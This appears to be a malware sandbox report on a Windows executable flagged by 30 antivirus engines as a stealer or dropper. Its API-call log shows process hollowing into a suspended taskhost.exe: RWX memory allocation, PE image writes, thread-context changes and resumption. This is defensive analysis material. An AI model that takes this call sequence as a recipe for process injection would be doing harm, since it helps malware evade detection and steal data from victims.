NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 2524 region_size: 671744 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000264	1	0
WriteProcessMemory May 30, 2023, 5:10 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELaÝbà"Ì ë @ @ dÛ @@ë K H.textË Ì `.rsrc Î @@.reloc Ò @B base_address: 0x00400000 process_identifier: 2524 process_handle: 0x00000264	1	1
WriteProcessMemory May 30, 2023, 5:10 p.m.	buffer: base_address: 0x00402000 process_identifier: 2524 process_handle: 0x00000264	1	1
WriteProcessMemory May 30, 2023, 5:10 p.m.	buffer: 0 HX ÄÄ4VS_VERSION_INFO½ïþ?$StringFileInfo040904B0$CompanyName,FileDescription0FileVersion1.1.1o4InternalNamelibcrypto<OriginalFilenamelibcrypto$ProductName4ProductVersion1.1.1o \|LegalCopyrightCopyright 1998-2022 The OpenSSL Authors. All rights reserved.DVarFileInfo$Translation ° base_address: 0x004a0000 process_identifier: 2524 process_handle: 0x00000264	1	1
WriteProcessMemory May 30, 2023, 5:10 p.m.	buffer: à ; base_address: 0x004a2000 process_identifier: 2524 process_handle: 0x00000264	1	1
WriteProcessMemory May 30, 2023, 5:10 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2524 process_handle: 0x00000264	1	1
NtSetContextThread May 30, 2023, 5:10 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4844430 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000260 process_identifier: 2524	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x00000260 suspend_count: 1 process_identifier: 2524	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 2524	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 2524	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x000001c8 suspend_count: 1 process_identifier: 2524	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x00000218 suspend_count: 1 process_identifier: 2524	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x0000022c suspend_count: 1 process_identifier: 2524	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x00000284 suspend_count: 1 process_identifier: 2524	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x0000035c suspend_count: 1 process_identifier: 2524	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x00000374 suspend_count: 1 process_identifier: 2524	1	0
CreateProcessInternalW May 30, 2023, 5:10 p.m.	thread_identifier: 724 thread_handle: 0x0000044c process_identifier: 800 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Python27\Tools\Scripts\taskhost.exe track: 1 command_line: "C:\Python27\Tools\Scripts\taskhost.exe" filepath_r: C:\Python27\Tools\Scripts\taskhost.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x00000444	1	1
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 800	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x0000014c suspend_count: 1 process_identifier: 800	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x000001c4 suspend_count: 1 process_identifier: 800	1	0
NtResumeThread May 30, 2023, 5:11 p.m.	thread_handle: 0x0000024c suspend_count: 1 process_identifier: 800	1	0
CreateProcessInternalW May 30, 2023, 5:11 p.m.	thread_identifier: 1720 thread_handle: 0x00000254 process_identifier: 776 current_directory: filepath: C:\Python27\Tools\Scripts\taskhost.exe track: 1 command_line: "{path}" filepath_r: C:\Python27\Tools\Scripts\taskhost.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000258	1	1
NtGetContextThread May 30, 2023, 5:11 p.m.	thread_handle: 0x00000254	1	0
NtAllocateVirtualMemory May 30, 2023, 5:11 p.m.	process_identifier: 776 region_size: 671744 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000258		3221225496
CreateProcessInternalW May 30, 2023, 5:11 p.m.	thread_identifier: 2648 thread_handle: 0x0000026c process_identifier: 536 current_directory: filepath: C:\Python27\Tools\Scripts\taskhost.exe track: 1 command_line: "{path}" filepath_r: C:\Python27\Tools\Scripts\taskhost.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000270	1	1
NtGetContextThread May 30, 2023, 5:11 p.m.	thread_handle: 0x0000026c	1	0
NtAllocateVirtualMemory May 30, 2023, 5:11 p.m.	process_identifier: 536 region_size: 671744 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000270	1	0
WriteProcessMemory May 30, 2023, 5:11 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELaÝbà"Ì ë @ @ dÛ @@ë K H.textË Ì `.rsrc Î @@.reloc Ò @B base_address: 0x00400000 process_identifier: 536 process_handle: 0x00000270	1	1
WriteProcessMemory May 30, 2023, 5:11 p.m.	buffer: base_address: 0x00402000 process_identifier: 536 process_handle: 0x00000270	1	1
WriteProcessMemory May 30, 2023, 5:11 p.m.	buffer: 0 HX ÄÄ4VS_VERSION_INFO½ïþ?$StringFileInfo040904B0$CompanyName,FileDescription0FileVersion1.1.1o4InternalNamelibcrypto<OriginalFilenamelibcrypto$ProductName4ProductVersion1.1.1o \|LegalCopyrightCopyright 1998-2022 The OpenSSL Authors. All rights reserved.DVarFileInfo$Translation ° base_address: 0x004a0000 process_identifier: 536 process_handle: 0x00000270	1	1
WriteProcessMemory May 30, 2023, 5:11 p.m.	buffer: à ; base_address: 0x004a2000 process_identifier: 536 process_handle: 0x00000270	1	1
WriteProcessMemory May 30, 2023, 5:11 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 536 process_handle: 0x00000270	1	1
NtSetContextThread May 30, 2023, 5:11 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4844430 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000026c process_identifier: 536	1	0
NtResumeThread May 30, 2023, 5:11 p.m.	thread_handle: 0x0000026c suspend_count: 1 process_identifier: 536	1	0
NtResumeThread May 30, 2023, 5:11 p.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 536	1	0
NtResumeThread May 30, 2023, 5:11 p.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 536	1	0
NtResumeThread May 30, 2023, 5:11 p.m.	thread_handle: 0x000001c8 suspend_count: 1 process_identifier: 536	1	0
NtResumeThread May 30, 2023, 5:11 p.m.	thread_handle: 0x00000208 suspend_count: 1 process_identifier: 536	1	0

File has been identified by 30 AntiVirus engines on VirusTotal as malicious (30 events)

Lionic	Trojan.Win32.Generic.4!c
McAfee	Artemis!E7F043A52ED8
Cylance	unsafe
Sangfor	Suspicious.Win32.Save.a
Cyren	W32/MSIL_Kryptik.FQW.gen!Eldorado
Symantec	Scr.Malcode!gdn30
Elastic	malicious (high confidence)
ESET-NOD32	a variant of Generik.FDGIPBC
APEX	Malicious
Cynet	Malicious (score: 100)
Kaspersky	UDS:Trojan-Spy.MSIL.Stealer.gen
Avast	Win32:DropperX-gen [Drp]
McAfee-GW-Edition	BehavesLike.Win32.Generic.dc
Trapmine	malicious.high.ml.score
FireEye	Generic.mg.e7f043a52ed8bbd9
Sophos	Mal/Generic-S
SentinelOne	Static AI - Malicious PE
Webroot	W32.Dropper.Gen
Microsoft	Trojan:Win32/Sabsik.FL.B!ml
ZoneAlarm	HEUR:Trojan-Spy.MSIL.Stealer.gen
GData	Win32.Backdoor.DCRat.XKS2R7
Google	Detected
Acronis	suspicious
Rising	Malware.Obfus/MSIL@AI.90 (RDM.MSIL2:YH5IRbiTdm/ZA9SffVAUFw)
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	MSIL/AgentTesla.G!tr
BitDefenderTheta	Gen:NN.ZemsilF.36250.7m0@aKBYRSo
AVG	Win32:DropperX-gen [Drp]
DeepInstinct	MALICIOUS
CrowdStrike	win/malicious_confidence_100% (W)

sQdXMQIHJl75b1w.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All